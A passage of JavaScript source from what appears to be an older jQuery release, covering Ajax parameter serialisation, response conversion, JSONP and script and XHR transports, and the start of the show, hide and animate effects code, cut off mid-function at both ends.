);\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tstate = 1;\n\t\t\t\ttransport.send( requestHeaders, done );\n\t\t\t} catch (e) {\n\t\t\t\t// Propagate exception as error if not done\n\t\t\t\tif ( status < 2 ) {\n\t\t\t\t\tdone( -1, e );\n\t\t\t\t// Simply rethrow otherwise\n\t\t\t\t} else {\n\t\t\t\t\tjQuery.error( e );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn jqXHR;\n\t},\n\n\t// Serialize an array of form elements or a set of\n\t// key/values into a query string\n\tparam: function( a, traditional ) {\n\t\tvar s = [],\n\t\t\tadd = function( key, value ) {\n\t\t\t\t// If value is a function, invoke it and return its value\n\t\t\t\tvalue = jQuery.isFunction( value ) ? value() : value;\n\t\t\t\ts[ s.length ] = encodeURIComponent( key ) + \"=\" + encodeURIComponent( value );\n\t\t\t};\n\n\t\t// Set traditional to true for jQuery <= 1.3.2 behavior.\n\t\tif ( traditional === undefined ) {\n\t\t\ttraditional = jQuery.ajaxSettings.traditional;\n\t\t}\n\n\t\t// If an array was passed in, assume that it is an array of form elements.\n\t\tif ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {\n\t\t\t// Serialize the form elements\n\t\t\tjQuery.each( a, function() {\n\t\t\t\tadd( this.name, this.value );\n\t\t\t});\n\n\t\t} else {\n\t\t\t// If traditional, encode the \"old\" way (the way 1.3.2 or older\n\t\t\t// did it), otherwise encode params recursively.\n\t\t\tfor ( var prefix in a ) {\n\t\t\t\tbuildParams( prefix, a[ prefix ], traditional, add );\n\t\t\t}\n\t\t}\n\n\t\t// Return the resulting serialization\n\t\treturn s.join( \"&\" ).replace( r20, \"+\" );\n\t}\n});\n\nfunction buildParams( prefix, obj, traditional, add ) {\n\tif ( jQuery.isArray( obj ) ) {\n\t\t// Serialize array item.\n\t\tjQuery.each( obj, function( i, v ) {\n\t\t\tif ( traditional || rbracket.test( prefix ) ) {\n\t\t\t\t// Treat each array item as a scalar.\n\t\t\t\tadd( prefix, v );\n\n\t\t\t} else {\n\t\t\t\t// If array item is non-scalar (array or object), encode its\n\t\t\t\t// numeric index to resolve deserialization ambiguity issues.\n\t\t\t\t// Note that rack (as of 1.0.0) can't currently deserialize\n\t\t\t\t// nested arrays properly, and attempting to do so may cause\n\t\t\t\t// a server error. Possible fixes are to modify rack's\n\t\t\t\t// deserialization algorithm or to provide an option or flag\n\t\t\t\t// to force array serialization to be shallow.\n\t\t\t\tbuildParams( prefix + \"[\" + ( typeof v === \"object\" || jQuery.isArray(v) ? i : \"\" ) + \"]\", v, traditional, add );\n\t\t\t}\n\t\t});\n\n\t} else if ( !traditional && obj != null && typeof obj === \"object\" ) {\n\t\t// Serialize object item.\n\t\tfor ( var name in obj ) {\n\t\t\tbuildParams( prefix + \"[\" + name + \"]\", obj[ name ], traditional, add );\n\t\t}\n\n\t} else {\n\t\t// Serialize scalar item.\n\t\tadd( prefix, obj );\n\t}\n}\n\n// This is still on the jQuery object... for now\n// Want to move this to jQuery.ajax some day\njQuery.extend({\n\n\t// Counter for holding the number of active queries\n\tactive: 0,\n\n\t// Last-Modified header cache for next request\n\tlastModified: {},\n\tetag: {}\n\n});\n\n/* Handles responses to an ajax request:\n * - sets all responseXXX fields accordingly\n * - finds the right dataType (mediates between content-type and expected dataType)\n * - returns the corresponding response\n */\nfunction ajaxHandleResponses( s, jqXHR, responses ) {\n\n\tvar contents = s.contents,\n\t\tdataTypes = s.dataTypes,\n\t\tresponseFields = s.responseFields,\n\t\tct,\n\t\ttype,\n\t\tfinalDataType,\n\t\tfirstDataType;\n\n\t// Fill responseXXX fields\n\tfor( type in responseFields ) {\n\t\tif ( type in responses ) {\n\t\t\tjqXHR[ responseFields[type] ] = responses[ type ];\n\t\t}\n\t}\n\n\t// Remove auto dataType and get content-type in the process\n\twhile( dataTypes[ 0 ] === \"*\" ) {\n\t\tdataTypes.shift();\n\t\tif ( ct === undefined ) {\n\t\t\tct = s.mimeType || jqXHR.getResponseHeader( \"content-type\" );\n\t\t}\n\t}\n\n\t// Check if we're dealing with a known content-type\n\tif ( ct ) {\n\t\tfor ( type in contents ) {\n\t\t\tif ( contents[ type ] && contents[ type ].test( ct ) ) {\n\t\t\t\tdataTypes.unshift( type );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check to see if we have a response for the expected dataType\n\tif ( dataTypes[ 0 ] in responses ) {\n\t\tfinalDataType = dataTypes[ 0 ];\n\t} else {\n\t\t// Try convertible dataTypes\n\t\tfor ( type in responses ) {\n\t\t\tif ( !dataTypes[ 0 ] || s.converters[ type + \" \" + dataTypes[0] ] ) {\n\t\t\t\tfinalDataType = type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( !firstDataType ) {\n\t\t\t\tfirstDataType = type;\n\t\t\t}\n\t\t}\n\t\t// Or just use first one\n\t\tfinalDataType = finalDataType || firstDataType;\n\t}\n\n\t// If we found a dataType\n\t// We add the dataType to the list if needed\n\t// and return the corresponding response\n\tif ( finalDataType ) {\n\t\tif ( finalDataType !== dataTypes[ 0 ] ) {\n\t\t\tdataTypes.unshift( finalDataType );\n\t\t}\n\t\treturn responses[ finalDataType ];\n\t}\n}\n\n// Chain conversions given the request and the original response\nfunction ajaxConvert( s, response ) {\n\n\t// Apply the dataFilter if provided\n\tif ( s.dataFilter ) {\n\t\tresponse = s.dataFilter( response, s.dataType );\n\t}\n\n\tvar dataTypes = s.dataTypes,\n\t\tconverters = {},\n\t\ti,\n\t\tkey,\n\t\tlength = dataTypes.length,\n\t\ttmp,\n\t\t// Current and previous dataTypes\n\t\tcurrent = dataTypes[ 0 ],\n\t\tprev,\n\t\t// Conversion expression\n\t\tconversion,\n\t\t// Conversion function\n\t\tconv,\n\t\t// Conversion functions (transitive conversion)\n\t\tconv1,\n\t\tconv2;\n\n\t// For each dataType in the chain\n\tfor( i = 1; i < length; i++ ) {\n\n\t\t// Create converters map\n\t\t// with lowercased keys\n\t\tif ( i === 1 ) {\n\t\t\tfor( key in s.converters ) {\n\t\t\t\tif( typeof key === \"string\" ) {\n\t\t\t\t\tconverters[ key.toLowerCase() ] = s.converters[ key ];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Get the dataTypes\n\t\tprev = current;\n\t\tcurrent = dataTypes[ i ];\n\n\t\t// If current is auto dataType, update it to prev\n\t\tif( current === \"*\" ) {\n\t\t\tcurrent = prev;\n\t\t// If no auto and dataTypes are actually different\n\t\t} else if ( prev !== \"*\" && prev !== current ) {\n\n\t\t\t// Get the converter\n\t\t\tconversion = prev + \" \" + current;\n\t\t\tconv = converters[ conversion ] || converters[ \"* \" + current ];\n\n\t\t\t// If there is no direct converter, search transitively\n\t\t\tif ( !conv ) {\n\t\t\t\tconv2 = undefined;\n\t\t\t\tfor( conv1 in converters ) {\n\t\t\t\t\ttmp = conv1.split( \" \" );\n\t\t\t\t\tif ( tmp[ 0 ] === prev || tmp[ 0 ] === \"*\" ) {\n\t\t\t\t\t\tconv2 = converters[ tmp[1] + \" \" + current ];\n\t\t\t\t\t\tif ( conv2 ) {\n\t\t\t\t\t\t\tconv1 = converters[ conv1 ];\n\t\t\t\t\t\t\tif ( conv1 === true ) {\n\t\t\t\t\t\t\t\tconv = conv2;\n\t\t\t\t\t\t\t} else if ( conv2 === true ) {\n\t\t\t\t\t\t\t\tconv = conv1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// If we found no converter, dispatch an error\n\t\t\tif ( !( conv || conv2 ) ) {\n\t\t\t\tjQuery.error( \"No conversion from \" + conversion.replace(\" \",\" to \") );\n\t\t\t}\n\t\t\t// If found converter is not an equivalence\n\t\t\tif ( conv !== true ) {\n\t\t\t\t// Convert with 1 or 2 converters accordingly\n\t\t\t\tresponse = conv ? conv( response ) : conv2( conv1(response) );\n\t\t\t}\n\t\t}\n\t}\n\treturn response;\n}\n\n\n\n\nvar jsc = jQuery.now(),\n\tjsre = /(\\=)\\?(&|$)|\\?\\?/i;\n\n// Default jsonp settings\njQuery.ajaxSetup({\n\tjsonp: \"callback\",\n\tjsonpCallback: function() {\n\t\treturn jQuery.expando + \"_\" + ( jsc++ );\n\t}\n});\n\n// Detect, normalize options and install callbacks for jsonp requests\njQuery.ajaxPrefilter( \"json jsonp\", function( s, originalSettings, jqXHR ) {\n\n\tvar inspectData = s.contentType === \"application/x-www-form-urlencoded\" &&\n\t\t( typeof s.data === \"string\" );\n\n\tif ( s.dataTypes[ 0 ] === \"jsonp\" ||\n\t\ts.jsonp !== false && ( jsre.test( s.url ) ||\n\t\t\t\tinspectData && jsre.test( s.data ) ) ) {\n\n\t\tvar responseContainer,\n\t\t\tjsonpCallback = s.jsonpCallback =\n\t\t\t\tjQuery.isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback,\n\t\t\tprevious = window[ jsonpCallback ],\n\t\t\turl = s.url,\n\t\t\tdata = s.data,\n\t\t\treplace = \"$1\" + jsonpCallback + \"$2\";\n\n\t\tif ( s.jsonp !== false ) {\n\t\t\turl = url.replace( jsre, replace );\n\t\t\tif ( s.url === url ) {\n\t\t\t\tif ( inspectData ) {\n\t\t\t\t\tdata = data.replace( jsre, replace );\n\t\t\t\t}\n\t\t\t\tif ( s.data === data ) {\n\t\t\t\t\t// Add callback manually\n\t\t\t\t\turl += (/\\?/.test( url ) ? \"&\" : \"?\") + s.jsonp + \"=\" + jsonpCallback;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ts.url = url;\n\t\ts.data = data;\n\n\t\t// Install callback\n\t\twindow[ jsonpCallback ] = function( response ) {\n\t\t\tresponseContainer = [ response ];\n\t\t};\n\n\t\t// Clean-up function\n\t\tjqXHR.always(function() {\n\t\t\t// Set callback back to previous value\n\t\t\twindow[ jsonpCallback ] = previous;\n\t\t\t// Call if it was a function and we have a response\n\t\t\tif ( responseContainer && jQuery.isFunction( previous ) ) {\n\t\t\t\twindow[ jsonpCallback ]( responseContainer[ 0 ] );\n\t\t\t}\n\t\t});\n\n\t\t// Use data converter to retrieve json after script execution\n\t\ts.converters[\"script json\"] = function() {\n\t\t\tif ( !responseContainer ) {\n\t\t\t\tjQuery.error( jsonpCallback + \" was not called\" );\n\t\t\t}\n\t\t\treturn responseContainer[ 0 ];\n\t\t};\n\n\t\t// force json dataType\n\t\ts.dataTypes[ 0 ] = \"json\";\n\n\t\t// Delegate to script\n\t\treturn \"script\";\n\t}\n});\n\n\n\n\n// Install script dataType\njQuery.ajaxSetup({\n\taccepts: {\n\t\tscript: \"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"\n\t},\n\tcontents: {\n\t\tscript: /javascript|ecmascript/\n\t},\n\tconverters: {\n\t\t\"text script\": function( text ) {\n\t\t\tjQuery.globalEval( text );\n\t\t\treturn text;\n\t\t}\n\t}\n});\n\n// Handle cache's special case and global\njQuery.ajaxPrefilter( \"script\", function( s ) {\n\tif ( s.cache === undefined ) {\n\t\ts.cache = false;\n\t}\n\tif ( s.crossDomain ) {\n\t\ts.type = \"GET\";\n\t\ts.global = false;\n\t}\n});\n\n// Bind script tag hack transport\njQuery.ajaxTransport( \"script\", function(s) {\n\n\t// This transport only deals with cross domain requests\n\tif ( s.crossDomain ) {\n\n\t\tvar script,\n\t\t\thead = document.head || document.getElementsByTagName( \"head\" )[0] || document.documentElement;\n\n\t\treturn {\n\n\t\t\tsend: function( _, callback ) {\n\n\t\t\t\tscript = document.createElement( \"script\" );\n\n\t\t\t\tscript.async = \"async\";\n\n\t\t\t\tif ( s.scriptCharset ) {\n\t\t\t\t\tscript.charset = s.scriptCharset;\n\t\t\t\t}\n\n\t\t\t\tscript.src = s.url;\n\n\t\t\t\t// Attach handlers for all browsers\n\t\t\t\tscript.onload = script.onreadystatechange = function( _, isAbort ) {\n\n\t\t\t\t\tif ( isAbort || !script.readyState || /loaded|complete/.test( script.readyState ) ) {\n\n\t\t\t\t\t\t// Handle memory leak in IE\n\t\t\t\t\t\tscript.onload = script.onreadystatechange = null;\n\n\t\t\t\t\t\t// Remove the script\n\t\t\t\t\t\tif ( head && script.parentNode ) {\n\t\t\t\t\t\t\thead.removeChild( script );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Dereference the script\n\t\t\t\t\t\tscript = undefined;\n\n\t\t\t\t\t\t// Callback if not abort\n\t\t\t\t\t\tif ( !isAbort ) {\n\t\t\t\t\t\t\tcallback( 200, \"success\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\t// Use insertBefore instead of appendChild  to circumvent an IE6 bug.\n\t\t\t\t// This arises when a base node is used (#2709 and #4378).\n\t\t\t\thead.insertBefore( script, head.firstChild );\n\t\t\t},\n\n\t\t\tabort: function() {\n\t\t\t\tif ( script ) {\n\t\t\t\t\tscript.onload( 0, 1 );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n});\n\n\n\n\nvar // #5280: Internet Explorer will keep connections alive if we don't abort on unload\n\txhrOnUnloadAbort = window.ActiveXObject ? function() {\n\t\t// Abort all pending requests\n\t\tfor ( var key in xhrCallbacks ) {\n\t\t\txhrCallbacks[ key ]( 0, 1 );\n\t\t}\n\t} : false,\n\txhrId = 0,\n\txhrCallbacks;\n\n// Functions to create xhrs\nfunction createStandardXHR() {\n\ttry {\n\t\treturn new window.XMLHttpRequest();\n\t} catch( e ) {}\n}\n\nfunction createActiveXHR() {\n\ttry {\n\t\treturn new window.ActiveXObject( \"Microsoft.XMLHTTP\" );\n\t} catch( e ) {}\n}\n\n// Create the request object\n// (This is still attached to ajaxSettings for backward compatibility)\njQuery.ajaxSettings.xhr = window.ActiveXObject ?\n\t/* Microsoft failed to properly\n\t * implement the XMLHttpRequest in IE7 (can't request local files),\n\t * so we use the ActiveXObject when it is available\n\t * Additionally XMLHttpRequest can be disabled in IE7/IE8 so\n\t * we need a fallback.\n\t */\n\tfunction() {\n\t\treturn !this.isLocal && createStandardXHR() || createActiveXHR();\n\t} :\n\t// For all other browsers, use the standard XMLHttpRequest object\n\tcreateStandardXHR;\n\n// Determine support properties\n(function( xhr ) {\n\tjQuery.extend( jQuery.support, {\n\t\tajax: !!xhr,\n\t\tcors: !!xhr && ( \"withCredentials\" in xhr )\n\t});\n})( jQuery.ajaxSettings.xhr() );\n\n// Create transport if the browser can provide an xhr\nif ( jQuery.support.ajax ) {\n\n\tjQuery.ajaxTransport(function( s ) {\n\t\t// Cross domain only allowed if supported through XMLHttpRequest\n\t\tif ( !s.crossDomain || jQuery.support.cors ) {\n\n\t\t\tvar callback;\n\n\t\t\treturn {\n\t\t\t\tsend: function( headers, complete ) {\n\n\t\t\t\t\t// Get a new xhr\n\t\t\t\t\tvar xhr = s.xhr(),\n\t\t\t\t\t\thandle,\n\t\t\t\t\t\ti;\n\n\t\t\t\t\t// Open the socket\n\t\t\t\t\t// Passing null username, generates a login popup on Opera (#2865)\n\t\t\t\t\tif ( s.username ) {\n\t\t\t\t\t\txhr.open( s.type, s.url, s.async, s.username, s.password );\n\t\t\t\t\t} else {\n\t\t\t\t\t\txhr.open( s.type, s.url, s.async );\n\t\t\t\t\t}\n\n\t\t\t\t\t// Apply custom fields if provided\n\t\t\t\t\tif ( s.xhrFields ) {\n\t\t\t\t\t\tfor ( i in s.xhrFields ) {\n\t\t\t\t\t\t\txhr[ i ] = s.xhrFields[ i ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Override mime type if needed\n\t\t\t\t\tif ( s.mimeType && xhr.overrideMimeType ) {\n\t\t\t\t\t\txhr.overrideMimeType( s.mimeType );\n\t\t\t\t\t}\n\n\t\t\t\t\t// X-Requested-With header\n\t\t\t\t\t// For cross-domain requests, seeing as conditions for a preflight are\n\t\t\t\t\t// akin to a jigsaw puzzle, we simply never set it to be sure.\n\t\t\t\t\t// (it can always be set on a per-request basis or even using ajaxSetup)\n\t\t\t\t\t// For same-domain requests, won't change header if already provided.\n\t\t\t\t\tif ( !s.crossDomain && !headers[\"X-Requested-With\"] ) {\n\t\t\t\t\t\theaders[ \"X-Requested-With\" ] = \"XMLHttpRequest\";\n\t\t\t\t\t}\n\n\t\t\t\t\t// Need an extra try/catch for cross domain requests in Firefox 3\n\t\t\t\t\ttry {\n\t\t\t\t\t\tfor ( i in headers ) {\n\t\t\t\t\t\t\txhr.setRequestHeader( i, headers[ i ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch( _ ) {}\n\n\t\t\t\t\t// Do send the request\n\t\t\t\t\t// This may raise an exception which is actually\n\t\t\t\t\t// handled in jQuery.ajax (so no try/catch here)\n\t\t\t\t\txhr.send( ( s.hasContent && s.data ) || null );\n\n\t\t\t\t\t// Listener\n\t\t\t\t\tcallback = function( _, isAbort ) {\n\n\t\t\t\t\t\tvar status,\n\t\t\t\t\t\t\tstatusText,\n\t\t\t\t\t\t\tresponseHeaders,\n\t\t\t\t\t\t\tresponses,\n\t\t\t\t\t\t\txml;\n\n\t\t\t\t\t\t// Firefox throws exceptions when accessing properties\n\t\t\t\t\t\t// of an xhr when a network error occured\n\t\t\t\t\t\t// http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_AVAILABLE)\n\t\t\t\t\t\ttry {\n\n\t\t\t\t\t\t\t// Was never called and is aborted or complete\n\t\t\t\t\t\t\tif ( callback && ( isAbort || xhr.readyState === 4 ) ) {\n\n\t\t\t\t\t\t\t\t// Only called once\n\t\t\t\t\t\t\t\tcallback = undefined;\n\n\t\t\t\t\t\t\t\t// Do not keep as active anymore\n\t\t\t\t\t\t\t\tif ( handle ) {\n\t\t\t\t\t\t\t\t\txhr.onreadystatechange = jQuery.noop;\n\t\t\t\t\t\t\t\t\tif ( xhrOnUnloadAbort ) {\n\t\t\t\t\t\t\t\t\t\tdelete xhrCallbacks[ handle ];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// If it's an abort\n\t\t\t\t\t\t\t\tif ( isAbort ) {\n\t\t\t\t\t\t\t\t\t// Abort it manually if needed\n\t\t\t\t\t\t\t\t\tif ( xhr.readyState !== 4 ) {\n\t\t\t\t\t\t\t\t\t\txhr.abort();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tstatus = xhr.status;\n\t\t\t\t\t\t\t\t\tresponseHeaders = xhr.getAllResponseHeaders();\n\t\t\t\t\t\t\t\t\tresponses = {};\n\t\t\t\t\t\t\t\t\txml = xhr.responseXML;\n\n\t\t\t\t\t\t\t\t\t// Construct response list\n\t\t\t\t\t\t\t\t\tif ( xml && xml.documentElement /* #4958 */ ) {\n\t\t\t\t\t\t\t\t\t\tresponses.xml = xml;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tresponses.text = xhr.responseText;\n\n\t\t\t\t\t\t\t\t\t// Firefox throws an exception when accessing\n\t\t\t\t\t\t\t\t\t// statusText for faulty cross-domain requests\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tstatusText = xhr.statusText;\n\t\t\t\t\t\t\t\t\t} catch( e ) {\n\t\t\t\t\t\t\t\t\t\t// We normalize with Webkit giving an empty statusText\n\t\t\t\t\t\t\t\t\t\tstatusText = \"\";\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// Filter status for non standard behaviors\n\n\t\t\t\t\t\t\t\t\t// If the request is local and we have data: assume a success\n\t\t\t\t\t\t\t\t\t// (success with no data won't get notified, that's the best we\n\t\t\t\t\t\t\t\t\t// can do given current implementations)\n\t\t\t\t\t\t\t\t\tif ( !status && s.isLocal && !s.crossDomain ) {\n\t\t\t\t\t\t\t\t\t\tstatus = responses.text ? 200 : 404;\n\t\t\t\t\t\t\t\t\t// IE - #1450: sometimes returns 1223 when it should be 204\n\t\t\t\t\t\t\t\t\t} else if ( status === 1223 ) {\n\t\t\t\t\t\t\t\t\t\tstatus = 204;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch( firefoxAccessException ) {\n\t\t\t\t\t\t\tif ( !isAbort ) {\n\t\t\t\t\t\t\t\tcomplete( -1, firefoxAccessException );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Call complete if needed\n\t\t\t\t\t\tif ( responses ) {\n\t\t\t\t\t\t\tcomplete( status, statusText, responses, responseHeaders );\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\n\t\t\t\t\t// if we're in sync mode or it's in cache\n\t\t\t\t\t// and has been retrieved directly (IE6 & IE7)\n\t\t\t\t\t// we need to manually fire the callback\n\t\t\t\t\tif ( !s.async || xhr.readyState === 4 ) {\n\t\t\t\t\t\tcallback();\n\t\t\t\t\t} else {\n\t\t\t\t\t\thandle = ++xhrId;\n\t\t\t\t\t\tif ( xhrOnUnloadAbort ) {\n\t\t\t\t\t\t\t// Create the active xhrs callbacks list if needed\n\t\t\t\t\t\t\t// and attach the unload handler\n\t\t\t\t\t\t\tif ( !xhrCallbacks ) {\n\t\t\t\t\t\t\t\txhrCallbacks = {};\n\t\t\t\t\t\t\t\tjQuery( window ).unload( xhrOnUnloadAbort );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// Add to list of active xhrs callbacks\n\t\t\t\t\t\t\txhrCallbacks[ handle ] = callback;\n\t\t\t\t\t\t}\n\t\t\t\t\t\txhr.onreadystatechange = callback;\n\t\t\t\t\t}\n\t\t\t\t},\n\n\t\t\t\tabort: function() {\n\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\tcallback(0,1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t});\n}\n\n\n\n\nvar elemdisplay = {},\n\tiframe, iframeDoc,\n\trfxtypes = /^(?:toggle|show|hide)$/,\n\trfxnum = /^([+\\-]=)?([\\d+.\\-]+)([a-z%]*)$/i,\n\ttimerId,\n\tfxAttrs = [\n\t\t// height animations\n\t\t[ \"height\", \"marginTop\", \"marginBottom\", \"paddingTop\", \"paddingBottom\" ],\n\t\t// width animations\n\t\t[ \"width\", \"marginLeft\", \"marginRight\", \"paddingLeft\", \"paddingRight\" ],\n\t\t// opacity animations\n\t\t[ \"opacity\" ]\n\t],\n\tfxNow,\n\trequestAnimationFrame = window.webkitRequestAnimationFrame ||\n\t    window.mozRequestAnimationFrame ||\n\t    window.oRequestAnimationFrame;\n\njQuery.fn.extend({\n\tshow: function( speed, easing, callback ) {\n\t\tvar elem, display;\n\n\t\tif ( speed || speed === 0 ) {\n\t\t\treturn this.animate( genFx(\"show\", 3), speed, easing, callback);\n\n\t\t} else {\n\t\t\tfor ( var i = 0, j = this.length; i < j; i++ ) {\n\t\t\t\telem = this[i];\n\n\t\t\t\tif ( elem.style ) {\n\t\t\t\t\tdisplay = elem.style.display;\n\n\t\t\t\t\t// Reset the inline display of this element to learn if it is\n\t\t\t\t\t// being hidden by cascaded rules or not\n\t\t\t\t\tif ( !jQuery._data(elem, \"olddisplay\") && display === \"none\" ) {\n\t\t\t\t\t\tdisplay = elem.style.display = \"\";\n\t\t\t\t\t}\n\n\t\t\t\t\t// Set elements which have been overridden with display: none\n\t\t\t\t\t// in a stylesheet to whatever the default browser style is\n\t\t\t\t\t// for such an element\n\t\t\t\t\tif ( display === \"\" && jQuery.css( elem, \"display\" ) === \"none\" ) {\n\t\t\t\t\t\tjQuery._data(elem, \"olddisplay\", defaultDisplay(elem.nodeName));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set the display of most of the elements in a second loop\n\t\t\t// to avoid the constant reflow\n\t\t\tfor ( i = 0; i < j; i++ ) {\n\t\t\t\telem = this[i];\n\n\t\t\t\tif ( elem.style ) {\n\t\t\t\t\tdisplay = elem.style.display;\n\n\t\t\t\t\tif ( display === \"\" || display === \"none\" ) {\n\t\t\t\t\t\telem.style.display = jQuery._data(elem, \"olddisplay\") || \"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\t},\n\n\thide: function( speed, easing, callback ) {\n\t\tif ( speed || speed === 0 ) {\n\t\t\treturn this.animate( genFx(\"hide\", 3), speed, easing, callback);\n\n\t\t} else {\n\t\t\tfor ( var i = 0, j = this.length; i < j; i++ ) {\n\t\t\t\tif ( this[i].style ) {\n\t\t\t\t\tvar display = jQuery.css( this[i], \"display\" );\n\n\t\t\t\t\tif ( display !== \"none\" && !jQuery._data( this[i], \"olddisplay\" ) ) {\n\t\t\t\t\t\tjQuery._data( this[i], \"olddisplay\", display );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set the display of the elements in a second loop\n\t\t\t// to avoid the constant reflow\n\t\t\tfor ( i = 0; i < j; i++ ) {\n\t\t\t\tif ( this[i].style ) {\n\t\t\t\t\tthis[i].style.display = \"none\";\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\t},\n\n\t// Save the old toggle function\n\t_toggle: jQuery.fn.toggle,\n\n\ttoggle: function( fn, fn2, callback ) {\n\t\tvar bool = typeof fn === \"boolean\";\n\n\t\tif ( jQuery.isFunction(fn) && jQuery.isFunction(fn2) ) {\n\t\t\tthis._toggle.apply( this, arguments );\n\n\t\t} else if ( fn == null || bool ) {\n\t\t\tthis.each(function() {\n\t\t\t\tvar state = bool ? fn : jQuery(this).is(\":hidden\");\n\t\t\t\tjQuery(this)[ state ? \"show\" : \"hide\" ]();\n\t\t\t});\n\n\t\t} else {\n\t\t\tthis.animate(genFx(\"toggle\", 3), fn, fn2, callback);\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tfadeTo: function( speed, to, easing, callback ) {\n\t\treturn this.filter(\":hidden\").css(\"opacity\", 0).show().end()\n\t\t\t\t\t.animate({opacity: to}, speed, easing, callback);\n\t},\n\n\tanimate: function( prop, speed, easing, callback ) {\n\t\tvar optall = jQuery.speed(speed, easing, callback);\n\n\t\tif ( jQuery.isEmptyObject( prop ) ) {\n\t\t\treturn this.each( optall.complete, [ false ] );\n\t\t}\n\n\t\t// Do not change referenced properties as per-property easing will be lost\n\t\tprop = jQuery.extend( {}, prop );\n\n\t\treturn this[ optall.queue === false ? \"each\" : \"queue\" ](function() {\n\t\t\t// XXX 'this' does not always have a nodeName when running the\n\t\t\t// test suite\n\n\t\t\tif ( optall.queue === false ) {\n\t\t\t\tjQuery._mark( this );\n\t\t\t}\n\n\t\t\tvar opt = jQuery.extend( {}, optall ),\n\t\t\t\tisElement = this.nodeType === 1,\n\t\t\t\thidden = isElement && jQuery(this).is(\":hidden\"),\n\t\t\t\tname, val, p,\n\t\t\t\tdisplay, e,\n\t\t\t\tparts, start, end, unit;\n\n\t\t\t// will store per property easing and be used to determine when an animation is complete\n\t\t\topt.animatedProperties = {};\n\n\t\t\tfor ( p in prop ) {\n\n\t\t\t\t// property name normalization\n\t\t\t\tname = jQuery.camelCase( p );\n\t\t\t\tif ( p !== name ) {\n\t\t\t\t\tprop[ name ] = prop[ p ];\n\t\t\t\t\tdelete prop[ p ];\n\t\t\t\t}\n\n\t\t\t\tval = prop[ name ];\n\n\t\t\t\t// easing resolution: per property > opt.specialEasing > opt.easing > 'swing' (default)\n\t\t\t\tif ( jQuery.isArray( val ) ) {\n\t\t\t\t\topt.animatedProperties[ name ] = val[ 1 ];\n\t\t\t\t\tval = prop[ name ] = val[ 0 ];\n\t\t\t\t} else {\n\t\t\t\t\topt.animatedProperties[ name ] = opt.specialEasing && opt.specialEasing[ name ] || opt.easing || 'swing';\n\t\t\t\t}\n\n\t\t\t\tif ( val === \"hide\" && hidden || val === \"show\" && !hidden ) {\n\t\t\t\t\treturn opt.complete.call( this );\n\t\t\t\t}\n\n\t\t\t\tif ( isElement && ( name === \"height\" || name === \"width\" ) ) {\n\t\t\t\t\t// Make sure that nothing sneaks out\n\t\t\t\t\t// Record all 3 overflow attributes because IE does not\n\t\t\t\t\t// change the overflow attribute when overflowX and\n\t\t\t\t\t// overflowY are set to the same value\n\t\t\t\t\topt.overflow = [ this.style.overflow, this.style.overflowX, this.style.overflowY ];\n\n\t\t\t\t\t// Set display property to inline-block for height/width\n\t\t\t\t\t// animations on inline elements that are having width/height\n\t\t\t\t\t// animated\n\t\t\t\t\tif ( jQuery.css( this, \"display\" ) === \"inline\" &&\n\t\t\t\t\t\t\tjQuery.css( this, \"float\" ) === \"none\" ) {\n\t\t\t\t\t\tif ( !jQuery.support.inlineBlockNeedsLayout ) {\n\t\t\t\t\t\t\tthis.style.display = \"inline-block\";\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tdisplay = defaultDisplay( this.nodeName );\n\n\t\t\t\t\t\t\t// inline-level elements accept inline-block;\n\t\t\t\t\t\t\t// block-level elements need to be inline with layout\n\t\t\t\t\t\t\tif ( display === \"inline\" ) {\n\t\t\t\t\t\t\t\tthis.style.display = \"inline-block\";\n\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tthis.style.display = \"inline\";\n\t\t\t\t\t\t\t\tthis.style.zoom = 1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( opt.overflow != null ) {\n\t\t\t\tthis.style.overflow = \"hidden\";\n\t\t\t}\n\n\t\t\tfor ( p 